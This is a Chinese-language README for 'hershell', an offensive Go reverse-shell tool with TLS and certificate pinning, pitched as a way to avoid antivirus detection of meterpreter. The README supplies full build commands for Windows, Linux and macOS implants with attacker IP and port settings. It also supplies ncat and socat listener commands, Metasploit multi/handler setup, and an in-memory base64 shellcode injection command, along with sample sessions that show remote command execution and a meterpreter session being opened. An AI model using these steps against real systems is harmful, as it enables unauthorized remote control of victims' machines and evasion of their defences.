用 Go 编写的简单 TCP 反向 Shell。
它使用 TLS 来保护通信，并提供了证书公钥指纹固定功能，以防止流量拦截。
支持的操作系统：
尽管 meterpreter 载荷很强大，但它们有时会被杀毒软件检测到。
本项目的目标是获得一个简单的反向 shell，可以在多个系统上工作。
由于它是用 Go 编写的，您可以为所需架构交叉编译源代码。
由于这是一个 Go 项目，您需要遵循官方文档来设置您的 Golang 环境（包括 $GOPATH 环境变量）。
然后，只需运行 go get github.com/lesnuages/hershell 来获取项目。
为了简化操作，您可以使用提供的 Makefile。您可以设置以下环境变量：
GOOS : 目标操作系统GOARCH : 目标架构LHOST : 攻击者 IP 或域名LPORT : 监听端口关于 GOOS 和 GOARCH 变量，您可以在此获取允许的值。
此外，Makefile 中还提供了一些辅助目标：
depends : 生成服务器证书（反向 shell 所需）windows32 : 构建 32 位 Windows 可执行文件（PE 32 位）windows64 : 构建 64 位 Windows 可执行文件（PE 64 位）linux32 : 构建 32 位 Linux 可执行文件（ELF 32 位）linux64 : 构建 64 位 Linux 可执行文件（ELF 64 位）macos32 : 构建 32 位 macOS 可执行文件（Mach-O）macos64 : 构建 64 位 macOS 可执行文件（Mach-O）对于这些目标，您只需设置 LHOST 和 LPORT 环境变量。
执行后，您将得到一个远程 shell。这个自定义交互式 shell 允许您通过 Windows 上的 cmd.exe 或 UNIX 机器上的 /bin/sh 执行系统命令。
支持以下特殊命令：
run_shell : 进入系统 shell（例如，允许您切换目录）inject <base64 shellcode> : 将 shellcode（base64 编码）注入同一进程内存并执行meterpreter [tcp|http|https] IP:PORT : 连接到 multi/handler，从 metasploit 获取 stage2 反向 tcp、http 或 https meterpreter，并在内存中执行 shellcode（目前仅限 Windows）exit : 优雅退出首先，您需要生成一个有效的证书：
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
对于 Windows：
# 预定义的 32 位目标
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# 预定义的 64 位目标
$ make windows64 LHOST=192.168.0.12 LPORT=1234
对于 Linux：
# 预定义的 32 位目标
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# 预定义的 64 位目标
$ make linux64 LHOST=192.168.0.12 LPORT=1234
对于 Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
可以使用各种工具来处理传入连接，例如：
python/shell_reverse_tcp_ssl 载荷）以下是一个使用 ncat 的示例：
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
以下是一个使用 socat 的示例（测试版本为 1.7.3.2）：
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# 连接将在此处发起
[hershell]> whoami
desktop-3pvv31a\lab
警告：目前仅适用于 Windows 平台。
Meterpreter 分阶段传输目前支持以下载荷：
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_https要使用正确的载荷，只需指定您想要使用的传输方式（tcp、http、https）
要使用 meterpreter 分阶段传输功能，只需启动您的 handler：
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
然后，在 hershell 中使用 meterpreter 命令：
[hershell]> meterpreter https 172.16.122.105:8443
一个新的 meterpreter 会话应该在 msfconsole 中弹出：
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x 提供了 Dockerfile 功能